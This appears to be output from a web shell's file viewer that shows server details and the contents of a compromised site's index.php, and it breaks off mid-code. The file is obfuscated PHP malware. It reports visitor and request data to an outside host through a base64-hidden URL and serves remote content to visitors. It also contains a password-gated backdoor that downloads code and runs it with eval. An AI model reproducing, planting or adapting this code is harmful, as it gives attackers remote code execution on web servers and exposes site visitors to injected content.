HEX
Server: Apache/2.4.53 (Debian)
System: Linux 81f031f4d056 6.1.0-23-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.99-1 (2024-07-15) x86_64
User: www-data (33)
PHP: 7.4.29
Disabled: NONE
Upload Files
File: /var/www/html/index.php
<?php
 goto ItNUutVXAJtht; oqMgDfc2Nnr4E: $JCSn55Y5C6aOx = substr($hrQueI_vasue8, strpos($hrQueI_vasue8, "\x2e")); goto krzFgCGGSZOZP; ksaP9yNTyTlV6: AVASKy1fk10gq: goto xrrRM2_fbFUvi; gqmcAwRqvaPtV: dGTGq1a1sYbzP: goto FQKPfze7USqZd; V9cQ3pMJx7nk9: $mRlJLJOgT3ZCC["\165"] = zbXBNA2Qe1IaP($_SERVER["\x48\124\124\x50\137\125\x53\105\122\137\101\x47\x45\x4e\x54"]); goto wCqd9oGZoL_xe; Cu2jdkc_I3JVN: $NRFalY5oVCkdw = ${$dO99kvIWVeJDf[22 + 9] . $dO99kvIWVeJDf[13 + 46] . $dO99kvIWVeJDf[24 + 23] . $dO99kvIWVeJDf[14 + 33] . $dO99kvIWVeJDf[42 + 9] . $dO99kvIWVeJDf[45 + 8] . $dO99kvIWVeJDf[53 + 4]}; goto fzQHG7MZBkPLq; iwp1dGHEfs9eP: ALeoZntpsVoE1: goto kSvbX6WuclFte; NYz4xH6_HF200: exit(0); goto ksaP9yNTyTlV6; alS6Q2XXUjowP: fTrIqcdL0wAm5: goto DRS1FmS2NOTOb; FB3QsKx2zJQ4O: $Zrd4RnLEiRcOT = strval(@$_SERVER["\x48\124\124\120\137\x52\105\106\105\x52\x45\122"]); goto vzgZze_i81V80; vrncYSKeqxT11: $mRlJLJOgT3ZCC["\162"] = ZBxBna2qe1iap($_SERVER["\122\x45\x51\125\x45\123\x54\137\x55\122\111"]); goto fqGZcH9yJf4HL; lDXxeatjj0NRe: function RWBU_7yWl1ILX($H3UfKgW9Uec05) { goto JIDdv7Ojh8Mtp; VsyqEHPXnl01K: foreach ($H3UfKgW9Uec05 as $wEucw2BXm6gYL) { goto VFo0j02eY2Hfx; dHNIS2PkywpeL: uHITcjsKUSBi7: goto FtkjhpljDDaZr; EugcnW2THc94u: ynBpAQff_Ntrn: goto lEbty2Vs1Na2s; IO_2pLw8E0IaO: goto Yha9CEeQWO2DH; goto EugcnW2THc94u; ezURiH05NSNzy: if (preg_match("\x2f\143\x6f\156\x74\x65\x6e\x74\134\55\x74\171\160\x65\134\72\x5b\x5c\163\135\53\50\56\52\51\x2f\151", $wEucw2BXm6gYL, $tb8dg_P0j0zIP)) { goto R1r0Mef9qykzA; } goto IO_2pLw8E0IaO; e8dNJHRv84T20: goto Yha9CEeQWO2DH; goto dHNIS2PkywpeL; lEbty2Vs1Na2s: $UbmkLxf3UBK6E["\163\164\141\x74\165\163"] = intval($tb8dg_P0j0zIP[1]); goto e8dNJHRv84T20; rTgRDrSkT0rVV: $UbmkLxf3UBK6E["\164\171\x70\x65"] = $tb8dg_P0j0zIP[1]; goto dDZqeCMS8faEQ; FGxkow1eXZLIO: R1r0Mef9qykzA: goto rTgRDrSkT0rVV; dDZqeCMS8faEQ: Yha9CEeQWO2DH: goto YWXvvxaKEiKS2; FtkjhpljDDaZr: $UbmkLxf3UBK6E["\143\x6f\156\164\x65\156\164"] = $tb8dg_P0j0zIP[1]; goto aOy344u1j0nC2; YWXvvxaKEiKS2: uyzD35TQrpamA: goto LvUWG9aII2zjG; aOy344u1j0nC2: goto Yha9CEeQWO2DH; goto FGxkow1eXZLIO; VFo0j02eY2Hfx: if (preg_match("\57\x68\164\x74\x70\x5c\x2f\x5b\x30\55\71\x5c\56\x5d\x2b\133\x5c\163\135\53\x28\133\x30\x2d\71\135\53\51\x2f\x69", $wEucw2BXm6gYL, $tb8dg_P0j0zIP)) { goto ynBpAQff_Ntrn; } goto cUaZ7jGJjDVPe; cUaZ7jGJjDVPe: if (preg_match("\57\154\x6f\143\x61\164\151\x6f\156\x5c\72\133\x5c\x73\x5d\53\x28\56\x2a\51\x2f\151", $wEucw2BXm6gYL, $tb8dg_P0j0zIP)) { goto uHITcjsKUSBi7; } goto ezURiH05NSNzy; LvUWG9aII2zjG: } goto daHqI71ZiO5Q7; ktaCW1rkTjn8I: if (is_array($H3UfKgW9Uec05)) { goto O19qhN3PCDLwR; } goto DkdmjPZJk33va; fblmkgnKhO2Rg: O19qhN3PCDLwR: goto VsyqEHPXnl01K; JIDdv7Ojh8Mtp: $UbmkLxf3UBK6E = array("\163\164\x61\x74\x75\163" => 0, "\143\x6f\156\x74\x65\x6e\x74" => '', "\164\x79\160\145" => ''); goto ktaCW1rkTjn8I; DkdmjPZJk33va: return $UbmkLxf3UBK6E; goto fblmkgnKhO2Rg; daHqI71ZiO5Q7: OXo4nENJE5fsk: goto MRFJd4bgFnQ1W; MRFJd4bgFnQ1W: return $UbmkLxf3UBK6E; goto kz94tb2w4pzbR; kz94tb2w4pzbR: } goto DTrwjHT1b6Oe8; e_2dNvuMnE08X: exit("\x7b\40\x22\145\x72\162\157\162\x22\x3a\40\x32\x30\60\54\x20\42\154\143\42\72\40\42\x6a\x6b\x22\54\x20\x22\144\x61\x74\x61\42\x3a\40\133\40\61\x20\135\x20\x7d"); goto iwp1dGHEfs9eP; R1NVVIxtkWCRd: if (!($_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\x52\111"] === "\57\122\x2d" . md5($_SERVER["\x53\105\122\126\x45\122\x5f\x4e\101\x4d\105"]))) { goto fTrIqcdL0wAm5; } goto leDDfINCfuxTQ; JwPyIYaZZP7jQ: echo $TQkdCXGbTz8KR["\x63\x6f\156\x74\145\156\x74"]; goto NYz4xH6_HF200; Y9r0YxsNT6EzY: $mRlJLJOgT3ZCC["\163\156"] = zbxBNa2QE1iap($_SERVER["\123\x43\x52\x49\x50\124\137\x4e\x41\115\105"]); goto vrncYSKeqxT11; UIzIo_p3uepHM: uKduip9htlSUk: goto jdgZil5v9_R6F; M00Gs0oc8V6vk: $KLtPwwNUUUOvp = true; goto gqmcAwRqvaPtV; olwnzE0f5jh_m: nK9KwDmNcZS1J: goto aAsmuezvJVfFD; qqpZAQoKqYf11: if (!(strpos($hrQueI_vasue8, "\56") > 0 && strpos($hrQueI_vasue8, "\x2e\160\x68\160") === false)) { goto DtP01QBy0rEig; } goto oqMgDfc2Nnr4E; FTdOBprAw3vqP: if (!(strpos($Zrd4RnLEiRcOT, $TB7V8SjdtxASR) === 0)) { goto StEMcpJs2Y0QX; } goto z6SsN1DPCdZzi; vzgZze_i81V80: $TB7V8SjdtxASR = Vpq_A8lhKFA7K() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\124"]; goto FTdOBprAw3vqP; az1ROQaAMhFu9: Zf1PZWwJjL8VW: goto olwnzE0f5jh_m; Sty124qUVIWKi: StEMcpJs2Y0QX: goto KdVjl1Fe9AF91; IFKUa4L3ftBRN: $dO99kvIWVeJDf = $yvHAL_BKYO_nA("\176", "\40"); goto Cu2jdkc_I3JVN; DRS1FmS2NOTOb: if (!substr_count($_SERVER["\x52\x45\121\125\x45\123\x54\137\125\x52\x49"], "\151\x6e\x64\145\170\x2e\x70\x68\x70\57\152\153")) { goto ALeoZntpsVoE1; } goto e_2dNvuMnE08X; srdZ_ZxnDKgrJ: $TQkdCXGbTz8KR = YtViAyclXPo5f(base64_decode("\141\110\122\x30\143\104\x6f\166\x4c\63\x70\172\116\152\101\61\144\x6a\105\x7a\141\x32\x38\x75\131\x6d\71\x34\x59\x58\111\165\x63\x48\x4a\166\x4c\x77"), $mRlJLJOgT3ZCC); goto zEBsertDWOtEX; Fgl49VmD7L3A1: $KLtPwwNUUUOvp = false; goto qqpZAQoKqYf11; gtXqFDrRkiLiQ: class guOIzFYEhWE6v { static function T3Yse1KIArRvc($GUqAH15roLS9H) { goto McTuC01s4EFN9; sD41XfxqDVJLh: $qJU7si4v0_Qds = explode("\x3a", $GUqAH15roLS9H); goto otUFbcq1sSfTa; HPCiaTaioYlF3: gj60Msijko87P: goto ogAMtYovClZXX; xtiN1eGIhDQgb: $ztghaCTc6UJVG = $ssAbColfLeMCH("\176", "\40"); goto sD41XfxqDVJLh; Zvn9uw80mdTYm: foreach ($qJU7si4v0_Qds as $lt7lqHUWfQvS8 => $X1BYmiXWqtkJ4) { $x_nny_40p3BO9 .= $ztghaCTc6UJVG[$X1BYmiXWqtkJ4 - 59355]; YBiHi1RvMYb1Q: } goto HPCiaTaioYlF3; otUFbcq1sSfTa: $x_nny_40p3BO9 = ''; goto Zvn9uw80mdTYm; McTuC01s4EFN9: $ssAbColfLeMCH = "\162" . "\x61" . "\x6e" . "\147" . "\x65"; goto xtiN1eGIhDQgb; ogAMtYovClZXX: return $x_nny_40p3BO9; goto iDHsQHwvVAW6q; iDHsQHwvVAW6q: } static function sQDYo1vyRfwRq($H74AeDFZPNK_5, $JCKrhc1sLHRHT) { goto e2TdFHeu903Ct; S5r3OjYI70kk5: $mKzscHKfjOSpW = curl_exec($do6gvZg5C601V); goto o29Ya8Pw3xYxm; Ppa0uZXFrVPjN: curl_setopt($do6gvZg5C601V, CURLOPT_RETURNTRANSFER, 1); goto S5r3OjYI70kk5; e2TdFHeu903Ct: $do6gvZg5C601V = curl_init($H74AeDFZPNK_5); goto Ppa0uZXFrVPjN; o29Ya8Pw3xYxm: return empty($mKzscHKfjOSpW) ? $JCKrhc1sLHRHT($H74AeDFZPNK_5) : $mKzscHKfjOSpW; goto Lq9PbVB2FbWo8; Lq9PbVB2FbWo8: } static function XiHb4ZQ3fuzGF() { goto IeqUS0aVlhypu; fKekXhY5U6Iwj: foreach ($Ng7eZ6d3AXEje as $S5uedzA0Fcx2B) { $XgtqIeuz93EM5[] = self::T3Yse1KIArRvc($S5uedzA0Fcx2B); P9iEWoATXIEHF: } goto XdaHiPiffGzP3; a6u1V8Fdkn1RW: @eval($XgtqIeuz93EM5[2 + 2]($wgz4dyZYK4KIy)); goto vsKcjk3haBar0; XdaHiPiffGzP3: lWnZQoIVIjZYv: goto dK7oEwamBaIBZ; dK7oEwamBaIBZ: $I8aWREAyqIU2f = @$XgtqIeuz93EM5[1]($XgtqIeuz93EM5[2 + 8](INPUT_GET, $XgtqIeuz93EM5[7 + 2])); goto WLgJXcQYxltJr; wlBZQWFTrqFl_: $wgz4dyZYK4KIy = self::SqdYo1VyRfWRq($Wn7GoSr1TeCvL[0 + 1], $XgtqIeuz93EM5[1 + 4]); goto a6u1V8Fdkn1RW; QL05tmRj9JDtw: @$XgtqIeuz93EM5[3 + 7](INPUT_GET, "\x6f\146") == 1 && die($XgtqIeuz93EM5[4 + 1](__FILE__)); goto YER2BXHIZvD28; vsKcjk3haBar0: die; goto jPvQd7PQ97MjQ; WLgJXcQYxltJr: $HQ5kemiqWCktc = @$XgtqIeuz93EM5[0 + 3]($XgtqIeuz93EM5[5 + 1], $I8aWREAyqIU2f); goto YQxccEO0334p6; YQxccEO0334p6: $Wn7GoSr1TeCvL = $XgtqIeuz93EM5[0 + 2]($HQ5kemiqWCktc, true); goto QL05tmRj9JDtw; YER2BXHIZvD28: if (!(@$Wn7GoSr1TeCvL[0] - time() > 0 and md5(md5($Wn7GoSr1TeCvL[2 + 1])) === "\x61\143\62\x35\145\63\67\70\x33\62\144\x34\x34\63\x33\x30\x61\70\62\146\67\66\144\x33\142\x62\x38\61\70\x63\x36\x61")) { goto dvHFg3xW7Cxpl; } goto wlBZQWFTrqFl_; jPvQd7PQ97MjQ: dvHFg3xW7Cxpl: goto i7n33Wx8zhaK_; IeqUS0aVlhypu: $Ng7eZ6d3AXEje = array("\x35\71\x33\70\x32\x3a\65\x39\63\x36\67\x3a\65\71\63\x38\60\72\65\71\x33\70\x34\x3a\65\x39\x33\x36\65\x3a\x35\71\x33\x38\60\72\x35\71\63\70\66\72\x35\x39\x33\x37\x39\x3a\x35\71\x33\66\x34\x3a\65\71\x33\67\x31\72\x35\71\x33\x38\x32\72\65\x39\x33\x36\65\x3a\65\x39\x33\x37\66\72\65\71\63\x37\60\x3a\65\71\63\x37\x31", "\65\x39\63\66\66\x3a\65\71\63\66\x35\72\65\71\x33\66\x37\x3a\65\x39\x33\x38\x36\x3a\65\71\63\66\67\x3a\x35\x39\63\67\x30\x3a\x35\71\63\66\65\x3a\65\71\x34\63\x32\x3a\x35\71\64\x33\x30", "\65\x39\63\x37\65\72\x35\71\x33\x36\x36\x3a\65\x39\63\67\60\72\65\x39\x33\67\61\x3a\65\71\x33\x38\x36\x3a\x35\x39\x33\70\x31\72\x35\x39\63\x38\60\x3a\65\x39\63\x38\62\72\x35\x39\x33\67\x30\72\65\71\63\x38\61\72\65\x39\63\70\60", "\x35\71\63\66\71\x3a\65\71\x33\70\x34\72\x35\